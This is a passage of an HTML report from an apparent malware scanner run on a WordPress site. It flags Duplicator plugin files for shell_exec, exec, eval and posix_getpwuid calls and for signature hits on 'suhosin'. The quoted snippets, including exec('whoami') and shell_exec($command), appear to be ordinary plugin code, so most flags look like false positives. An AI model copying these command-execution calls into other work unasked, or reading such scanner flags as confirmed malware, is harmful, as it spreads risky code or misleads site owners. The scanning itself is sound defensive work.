#007700">, </span><span style="color: #0000BB">WP_ALL_IMPORT_ROOT_URL </span><span style="color: #007700">. </span><span style="color: #DD0000">'/static/js/jquery/css/redmond/jquery-ui.css'</span><span style="color: #007700">); </span><span style="color: #0000BB">wp_enqueue_style</span><span style="color: #007700">(</span><span style="color: #DD0000">'jquery-tipsy'</span><span style="color: #007700">, </span><span style="color: #0000BB">WP_ALL_IMPORT_ROOT_URL </span><span style="color: #007700">. </span><span style="color: #DD0000">'/static/js/jquery/css/smoothness/jquery.tipsy.css'</span><span style="color: #007700">); </span><span style="color: #0000BB">wp_enqueue_style</span><span style="color: #007700">(</span><span style="color: #DD0000">'pmxi-admin-style'</span><span style="color: #007700">, </span><span style="color: #0000BB">WP_ALL_IMPORT_ROOT_URL </span><span style="color: #007700">. </span><span style="color: #DD0000">'/static/css/a...</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_9").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/likoholding/liko-holding.com.ua/wp-content/plugins/duplicator/views/tools/diagnostics/inc.settings.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 8.61 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2019-09-27 21:06:30</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2023-07-31 18:47:54</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_10" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 471b95ee <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 157</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 471b95ee)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">suhosin</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_10").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/likoholding/liko-holding.com.ua/wp-content/plugins/duplicator/installer/dup-installer/ctrls/ctrl.s1.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 19.32 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2019-09-27 21:06:30</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2023-07-31 18:47:54</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_11" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function shell_exec <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `shell_exec`</p><p><i>[<a href="https://www.php.net/shell_exec" target="_blank" class="text-primary">https://www.php.net/shell_exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">shell_exec</span><span style="color: #007700">(</span><span style="color: #0000BB">$command</span><span style="color: #007700">); if (</span><span style="color: #0000BB">$stderr </span><span style="color: #007700">!= </span><span style="color: #DD0000">''</span><span style="color: #007700">) { </span><span style="color: #0000BB">$zip_err_msg </span><span style="color: #007700">= </span><span style="color: #0000BB">ERR_SHELLEXEC_ZIPOPEN</span><span style="color: #007700">.</span><span style="color: #DD0000">": </span><span style="color: #0000BB">$stderr</span><span style="color: #DD0000">"</span><span style="color: #007700">; </span><span style="color: #0000BB">$zip_err_msg </span><span style="color: #007700">.= </span><span style="color: #DD0000">"<br/><br/><b>To resolve error see <a href='https://snapcreek.com/duplicator/docs/faqs-tech/#faq-installer-130-q' target='_blank'>https://snapcreek.com/duplicator/docs/faqs-tech/#faq-installer-130-q</a></b>"</span><span style="color: #007700">; </span><span style="color: #0000BB">DUPX_Log</span><span style="color: #007700">::</span><span style="color: #0000BB">error</span><span style="color: #007700">(</span><span style="color: #0000BB">$zip_err_msg</span><span style="color: #007700">); } </span><span style="color: #0000BB">DUPX_Log</span><span style="color: #007700">::</span><span style="color: #0000BB">info</span><span style="color: #007700">(</span><span style="color: #DD0000">"<<< Shell-Exec Unzip Complete."</span><span style="color: #007700">); break; case </span><span style="color: #DD0000">'ziparchive'</span><span style="color: #007700">: </span><span style="color: #0000BB">DUPX_Log</span><span style="color: #007700">::</span><span style="color: #0000BB">info</span><span style="color: #007700">(</span><span style="color: #DD0000">"\n\nSTART ZIP FILE EXTRACTION STANDARD >>> "</span><span style="color: #007700">); if (!class...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 471b95ee <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 99</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 471b95ee)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">SUHOSIN</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_11").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/likoholding/liko-holding.com.ua/wp-content/plugins/duplicator/installer/dup-installer/views/view.s1.base.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 59.74 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2019-09-27 21:06:30</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2023-07-31 18:47:54</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_12" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 471b95ee <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 285</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 471b95ee)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Suhosin</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 471b95ee <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 286</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 471b95ee)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">suhosin</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_12").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/likoholding/liko-holding.com.ua/wp-content/plugins/duplicator/installer/dup-installer/assets/inc.libs.js.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 527.37 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2019-09-27 21:06:30</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2023-07-31 18:47:54</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_13" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #DD0000">'('</span><span style="color: #007700">+</span><span style="color: #0000BB">text</span><span style="color: #007700">+</span><span style="color: #DD0000">')'</span><span style="color: #007700">);return </span><span style="color: #0000BB">typeof filter</span><span style="color: #007700">===</span><span style="color: #DD0000">'function'</span><span style="color: #007700">?</span><span style="color: #0000BB">walk</span><span style="color: #007700">(</span><span style="color: #DD0000">''</span><span style="color: #007700">,</span><span style="color: #0000BB">j</span><span style="color: #007700">):</span><span style="color: #0000BB">j</span><span style="color: #007700">;}<br />throw new </span><span style="color: #0000BB">SyntaxError</span><span style="color: #007700">(</span><span style="color: #DD0000">'parseJSON'</span><span style="color: #007700">);}};}();}<br /></</span><span style="color: #0000BB">script</span><span style="color: #007700">><br /><br /><</span><span style="color: #0000BB">script</span><span style="color: #007700">><br /></span><span style="color: #FF8000">/**<br /> * password_strength_plugin.js<br /> * Copyright (c) 20010 myPocket technologies (www.mypocket-technologies.com)<br /> * @author Darren Mason (djmason9@gmail.com)<br /> * @date 3/13/2009<br /> * @projectDescription Password Strength Meter is a jQuery plug-in provide you smart algorithm to detect a password strength. <br /> * Based on Firas Kassem orginal plugin - phiras.wordpress.com/20...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function exec <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">exec</span><span style="color: #007700">(</span><span style="color: #0000BB">a</span><span style="color: #007700">)))if(</span><span style="color: #0000BB">j</span><span style="color: #007700">=</span><span style="color: #0000BB">f</span><span style="color: #007700">[</span><span style="color: #0000BB">1</span><span style="color: #007700">]){if(</span><span style="color: #0000BB">9</span><span style="color: #007700">===</span><span style="color: #0000BB">k</span><span style="color: #007700">){if(</span><span style="color: #0000BB">h</span><span style="color: #007700">=</span><span style="color: #0000BB">b</span><span style="color: #007700">.</span><span style="color: #0000BB">getElementById</span><span style="color: #007700">(</span><span style="color: #0000BB">j</span><span style="color: #007700">),!</span><span style="color: #0000BB">h</span><span style="color: #007700">||!</span><span style="color: #0000BB">h</span><span style="color: #007700">.</span><span style="color: #0000BB">parentNode</span><span style="color: #007700">)return </span><span style="color: #0000BB">d</span><span style="color: #007700">;if(</span><span style="color: #0000BB">h</span><span style="color: #007700">.</span><span style="color: #0000BB">id</span><span style="color: #007700">===</span><span style="color: #0000BB">j</span><span style="color: #007700">)return </span><span style="color: #0000BB">d</span><span style="color: #007700">.</span><span style="color: #0000BB">push</span><span style="color: #007700">(</span><span style="color: #0000BB">h</span><span style="color: #007700">),</span><span style="color: #0000BB">d</span><span style="color: #007700">}else if(</span><span style="color: #0000BB">b</span><span style="color: #007700">.</span><span style="color: #0000BB">ownerDocument</span><span style="color: #007700">&&(</span><span style="color: #0000BB">h</span><span style="color: #007700">=</span><span style="color: #0000BB">b</span><span style="color: #007700">.</span><span style="color: #0000BB">ownerDocument</span><span style="color: #007700">.</span><span style="color: #0000BB">getElementById</span><span style="color: #007700">(</span><span style="color: #0000BB">j</span><span style="color: #007700">))&&</span><span style="color: #0000BB">t</span><span style="color: #007700">(</span><span style="color: #0000BB">b</span><span style="color: #007700">,</span><span style="color: #0000BB">h</span><span style="color: #007700">)&&</span><span style="color: #0000BB">h</span><span style="color: #007700">.</span><span style="color: #0000BB">id</span><span style="color: #007700">===</span><span style="color: #0000BB">j</span><span style="color: #007700">)return </span><span style="color: #0000BB">d</span><span style="color: #007700">.</span><span style="color: #0000BB">push</span><span style="color: #007700">(</span><span style="color: #0000BB">h</span><span style="color: #007700">),</span><span style="color: #0000BB">d</span><span style="color: #007700">}else{if(</span><span style="color: #0000BB">f</span><span style="color: #007700">[</span><span style="color: #0000BB">2</span><span style="color: #007700">])return </span><span style="color: #0000BB">H</span><span style="color: #007700">.</span><span style="color: #0000BB">apply</span><span style="color: #007700">(</span><span style="color: #0000BB">d</span><span style="color: #007700">,</span><span style="color: #0000BB">b</span><span style="color: #007700">.</span><span style="color: #0000BB">getElementsByTagName</span><span style="color: #007700">(</span><span style="color: #0000BB">a</span><span style="color: #007700">)),</span><span style="color: #0000BB">d</span><span style="color: #007700">;if((</span><span style="color: #0000BB">j</span><span style="color: #007700">=</span><span style="color: #0000BB">f</span><span style="color: #007700">[</span><span style="color: #0000BB">3</span><span style="color: #007700">])&&</span><span style="color: #0000BB">c</span><span style="color: #007700">.</span><span style="color: #0000BB">getElementsByClassName</span><span style="color: #007700">)return </span><span style="color: #0000BB">H</span><span style="color: #007700">.</span><span style="color: #0000BB">apply</span><span style="color: #007700">(</span><span style="color: #0000BB">d</span><span style="color: #007700">,</span><span style="color: #0000BB">b</span><span style="color: #007700">.</span><span style="color: #0000BB">getElementsByClassName</span><span style="color: #007700">(</span><span style="color: #0000BB">j</span><span style="color: #007700">)),</span><span style="color: #0000BB">d</span><span style="color: #007700">}if(</span><span style="color: #0000BB">c</span><span style="color: #007700">.</span><span style="color: #0000BB">qsa</span><span style="color: #007700">&&(!</span><span style="color: #0000BB">q</span><span style="color: #007700">||!</span><span style="color: #0000BB">q</span><span style="color: #007700">.</span><span style="color: #0000BB">test</span><span style="color: #007700">(</span><span style="color: #0000BB">a</span><span style="color: #007700">))){if(</span><span style="color: #0000BB">s</span><span style="color: #007700">=</span><span style="color: #0000BB">r</span><span style="color: #007700">=</span><span style="color: #0000BB">u</span><span style="color: #007700">,</span><span style="color: #0000BB">w</span><span style="color: #007700">=</span><span style="color: #0000BB">b</span><span style="color: #007700">,</span><span style="color: #0000BB">x</span><span style="color: #007700">=</span><span style="color: #0000BB">1</span><span style="color: #007700">!==</span><span style="color: #0000BB">k</span><span style="color: #007700">&&</span><span style="color: #0000BB">a</span><span style="color: #007700">,</span><span style="color: #0000BB">1</span><span style="color: #007700">===</span><span style="color: #0000BB">k</span><span style="color: #007700">&&</span><span style="color: #DD0000">"object"</span><span style="color: #007700">!==</span><span style="color: #0000BB">b</span><span style="color: #007700">.</span><span style="color: #0000BB">nodeName</span><span style="color: #007700">.</span><span style="color: #0000BB">toLowerCase</span><span style="color: #007700">()){</span><span style="color: #0000BB">o</span><span style="color: #007700">=</span><span style="color: #0000BB">g</span><span style="color: #007700">(</span><span style="color: #0000BB">a</span><span style="color: #007700">),(</span><span style="color: #0000BB">r</span><span style="color: #007700">=</span><span style="color: #0000BB">b</span><span style="color: #007700">.</span><span style="color: #0000BB">getAttribute</span><span style="color: #007700">(</span><span style="color: #DD0000">"id"</span><span style="color: #007700">))?</span><span style="color: #0000BB">s</span><span style="color: #007700">=</span><span style="color: #0000BB">r</span><span style="color: #007700">.</span><span style="color: #0000BB">replace</span><span style="color: #007700">(</span><span style="color: #0000BB">bb</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">a</span><span style="color: #007700">,</span><span style="color: #0000BB">b</span><span style="color: #007700">,</span><span style="color: #0000BB">c</span><span style="color: #007700">,</span><span style="color: #0000BB">d</span><span style="color: #007700">,</span><span style="color: #0000BB">e</span><span style="color: #007700">,</span><span style="color: #0000BB">f</span><span style="color: #007700">,</span><span style="color: #0000BB">g</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_13").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/likoholding/liko-holding.com.ua/wp-content/plugins/duplicator/installer/dup-installer/classes/class.server.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 3.32 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2019-09-27 21:06:30</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2023-07-31 18:47:54</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_14" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function shell_exec <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `shell_exec`</p><p><i>[<a href="https://www.php.net/shell_exec" target="_blank" class="text-primary">https://www.php.net/shell_exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">shell_exec</span><span style="color: #007700">(</span><span style="color: #DD0000">'echo duplicator'</span><span style="color: #007700">)) return </span><span style="color: #0000BB">false</span><span style="color: #007700">; return </span><span style="color: #0000BB">true</span><span style="color: #007700">; } public static function </span><span style="color: #0000BB">get_unzip_filepath</span><span style="color: #007700">() { </span><span style="color: #0000BB">$filepath </span><span style="color: #007700">= </span><span style="color: #0000BB">null</span><span style="color: #007700">; if (</span><span style="color: #0000BB">self</span><span style="color: #007700">::</span><span style="color: #0000BB">is_shell_exec_available</span><span style="color: #007700">()) { if (</span><span style="color: #0000BB">shell_exec</span><span style="color: #007700">(</span><span style="color: #DD0000">'hash unzip 2>&1'</span><span style="color: #007700">) == </span><span style="color: #0000BB">NULL</span><span style="color: #007700">) { </span><span style="color: #0000BB">$filepath </span><span style="color: #007700">= </span><span style="color: #DD0000">'unzip'</span><span style="color: #007700">; } else { </span><span style="color: #0000BB">$possible_paths </span><span style="color: #007700">= array(</span><span style="color: #DD0000">'/usr/bin/unzip'</span><span style="color: #007700">, </span><span style="color: #DD0000">'/opt/local/bin/unzip'</span><span style="color: #007700">); foreach (</span><span style="color: #0000BB">$possible_paths </span><span style="color: #007700">as </span><span style="color: #0000BB">$path</span><span style="color: #007700">) { if (</span><span style="color: #0000BB">file_exists</span><span style="color: #007700">(</span><span style="color: #0000BB">$path</span><span style="color: #007700">)) { </span><span style="color: #0000BB">$filepath </span><span style="color: #007700">= </span><span style="color: #0000BB">$path</span><span style="color: #007700">; break; } } } } return </span><span style="color: #0000BB">$filepath</span><span style="color: #007700">; } public static function </span><span style="color: #0000BB">isWordPress</span><span style="color: #007700">() { </span><span style="color: #0000BB">$search_list </span><span style="color: #007700">= </span><span style="color: #0000BB">explode</span><span style="color: #007700">(</span><span style="color: #DD0000">','</span><span style="color: #007700">, </span><span style="color: #0000BB">self</span><span style="color: #007700">::</span><span style="color: #0000BB">$wpCo</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 471b95ee <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 74</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 471b95ee)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">suhosin</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_14").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/likoholding/liko-holding.com.ua/wp-content/plugins/duplicator/installer/dup-installer/classes/config/class.constants.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.53 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2019-09-27 21:06:30</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2023-07-31 18:47:54</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_15" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 471b95ee <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 96</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 471b95ee)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">suhosin</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_15").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/likoholding/liko-holding.com.ua/wp-content/plugins/duplicator/classes/utilities/class.u.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 21.63 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2019-09-27 21:06:31</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2023-07-31 18:47:54</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 3</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_16" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function exec <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">exec</span><span style="color: #007700">(</span><span style="color: #DD0000">'whoami'</span><span style="color: #007700">); } if (!</span><span style="color: #0000BB">strlen</span><span style="color: #007700">(</span><span style="color: #0000BB">$user</span><span style="color: #007700">) && </span><span style="color: #0000BB">function_exists</span><span style="color: #007700">(</span><span style="color: #DD0000">'posix_getpwuid'</span><span style="color: #007700">) && </span><span style="color: #0000BB">function_exists</span><span style="color: #007700">(</span><span style="color: #DD0000">'posix_geteuid'</span><span style="color: #007700">)) { </span><span style="color: #0000BB">$user </span><span style="color: #007700">= </span><span style="color: #0000BB">posix_getpwuid</span><span style="color: #007700">(</span><span style="color: #0000BB">posix_geteuid</span><span style="color: #007700">()); </span><span style="color: #0000BB">$user </span><span style="color: #007700">= </span><span style="color: #0000BB">$user</span><span style="color: #007700">[</span><span style="color: #DD0000">'name'</span><span style="color: #007700">]; } return </span><span style="color: #0000BB">strlen</span><span style="color: #007700">(</span><span style="color: #0000BB">$user</span><span style="color: #007700">) ? </span><span style="color: #0000BB">$user </span><span style="color: #007700">: </span><span style="color: #0000BB">$unreadable</span><span style="color: #007700">; } catch (</span><span style="color: #0000BB">Exception $ex</span><span style="color: #007700">) { return </span><span style="color: #0000BB">$unreadable</span><span style="color: #007700">; } } public static function </span><span style="color: #0000BB">initSnapshotDirectory</span><span style="color: #007700">() { </span><span style="color: #0000BB">$path_wproot </span><span style="color: #007700">= </span><span style="color: #0000BB">DUP_Util</span><span style="color: #007700">::</span><span style="color: #0000BB">safePath</span><span style="color: #007700">(</span><span style="color: #0000BB">DUPLICATOR_WPROOTPATH</span><span style="color: #007700">); </span><span style="color: #0000BB">$path_ssdir </span><span style="color: #007700">= </span><span style="color: #0000BB">DUP_Util</span><span style="color: #007700">::</span><span style="color: #0000BB">safePath</span><span style="color: #007700">(</span><span style="color: #0000BB">DUPLICATOR_SSDIR_PATH</span><span style="color: #007700">); </span><span style="color: #0000BB">$path_plugin </span><span style="color: #007700">= </span><span style="color: #0000BB">DUP_Util</span><span style="color: #007700">::</span><span style="color: #0000BB">safePath</span><span style="color: #007700">(</span><span style="color: #0000BB">DUPLICATOR_PLUGIN_PATH</span><span style="color: #007700">); if (...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function posix_getpwuid <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `posix_getpwuid`</p><p><i>[<a href="https://www.php.net/posix_getpwuid" target="_blank" class="text-primary">https://www.php.net/posix_getpwuid</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">posix_getpwuid</span><span style="color: #007700">(</span><span style="color: #0000BB">posix_geteuid</span><span style="color: #007700">()); </span><span style="color: #0000BB">$user </span><span style="color: #007700">= </span><span style="color: #0000BB">$user</span><span style="color: #007700">[</span><span style="color: #DD0000">'name'</span><span style="color: #007700">]; } return </span><span style="color: #0000BB">strlen</span><span style="color: #007700">(</span><span style="color: #0000BB">$user</span><span style="color: #007700">) ? </span><span style="color: #0000BB">$user </span><span style="color: #007700">: </span><span style="color: #0000BB">$unreadable</span><span style="color: #007700">; } catch (</span><span style="color: #0000BB">Exception $ex</span><span style="color: #007700">) { return </span><span style="color: #0000BB">$unreadable</span><span style="color: #007700">; } } public static function </span><span style="color: #0000BB">initSnapshotDirectory</span><span style="color: #007700">() { </span><span style="color: #0000BB">$path_wproot </span><span style="color: #007700">= </span><span style="color: #0000BB">DUP_Util</span><span style="color: #007700">::</span><span style="color: #0000BB">safePath</span><span style="color: #007700">(</span><span style="color: #0000BB">DUPLICATOR_WPROOTPATH</span><span style="color: #007700">); </span><span style="color: #0000BB">$path_ssdir </span><span style="color: #007700">= </span><span style="color: #0000BB">DUP_Util</span><span style="color: #007700">::</span><span style="color: #0000BB">safePath</span><span style="color: #007700">(</span><span style="color: #0000BB">DUPLICATOR_SSDIR_PATH</span><span style="color: #007700">); </span><span style="color: #0000BB">$path_plugin </span><span style="color: #007700">= </span><span style="color: #0000BB">DUP_Util</span><span style="color: #007700">::</span><span style="color: #0000BB">safePath</span><span style="color: #007700">(</span><span style="color: #0000BB">DUPLICATOR_PLUGIN_PATH</span><span style="color: #007700">); if (!</span><span style="color: #0000BB">file_exists</span><span style="color: #007700">(</span><span style="color: #0000BB">$path_ssdir</span><span style="color: #007700">)) { </span><span style="color: #0000BB">$old_root_perm </span><span style="color: #007700">= @</span><span style="color: #0000BB">fileperms</span><span style="color: #007700">(</span><span style="color: #0000BB">$path_wproot</span><span style="color: #007700">); </span><span style="color: #0000BB">DupLiteSnapLibIOU</span><span style="color: #007700">::</span><span style="color: #0000BB">chmod</span><span style="color: #007700">(</span><span style="color: #0000BB">$path_wproot</span><span style="color: #007700">, </span><span style="color: #DD0000">'u+rwx'</span><span style="color: #007700">); ...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function shell_exec <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `shell_exec`</p><p><i>[<a href="https://www.php.net/shell_exec" target="_blank" class="text-primary">https://www.php.net/shell_exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">shell_exec</span><span style="color: #007700">(</span><span style="color: #DD0000">'echo duplicator'</span><span style="color: #007700">)) return </span><span style="color: #0000BB">false</span><span style="color: #007700">; return </span><span style="color: #0000BB">true</span><span style="color: #007700">; } public static function </span><span style="color: #0000BB">isWindows</span><span style="color: #007700">() { if (</span><span style="color: #0000BB">strtoupper</span><span style="color: #007700">(</span><span style="color: #0000BB">substr</span><span style="color: #007700">(</span><span style="color: #0000BB">PHP_OS</span><span style="color: #007700">, </span><span style="color: #0000BB">0</span><span style="color: #007700">, </span><span style="color: #0000BB">3</span><span style="color: #007700">)) === </span><span style="color: #DD0000">'WIN'</span><span style="color: #007700">) { return </span><span style="color: #0000BB">true</span><span style="color: #007700">; } return </span><span style="color: #0000BB">false</span><span style="color: #007700">; } public static function </span><span style="color: #0000BB">installerUnscramble</span><span style="color: #007700">(</span><span style="color: #0000BB">$string</span><span style="color: #007700">) { return </span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$string</span><span style="color: #007700">); } public static function </span><span style="color: #0000BB">installerScramble</span><span style="color: #007700">(</span><span style="color: #0000BB">$string</span><span style="color: #007700">) { return </span><span style="color: #0000BB">base64_encode</span><span style="color: #007700">(</span><span style="color: #0000BB">$string</span><span style="color: #007700">); } const </span><span style="color: #0000BB">SECURE_ISSUE_DIE </span><span style="color: #007700">= </span><span style="color: #DD0000">'die'</span><span style="color: #007700">; const </span><span style="color: #0000BB">SECURE_ISSUE_THROW </span><span style="color: #007700">= </span><span style="color: #DD0000">'throw'</span><span style="color: #007700">; const </span><span style="color: #0000BB">SECURE_ISSUE_RETURN </span><span style="color: #007700">= </span><span style="color: #DD0000">'return'</span><span style="color: #007700">; public static function </span><span style="color: #0000BB">hasCapability</span><span style="color: #007700">(</span><span style="color: #0000BB">$permis</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 471b95ee <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 416</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 471b95ee)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">suhosin</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_16").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/likoholding/liko-holding.com.ua/wp-content/plugins/duplicator/classes/utilities/class.u.zip.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.23 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2019-09-27 21:06:31</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2023-07-31 18:47:54</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_17" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function shell_exec <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `shell_exec`</p><p><i>[<a href="https://www.php.net/shell_exec" target="_blank" 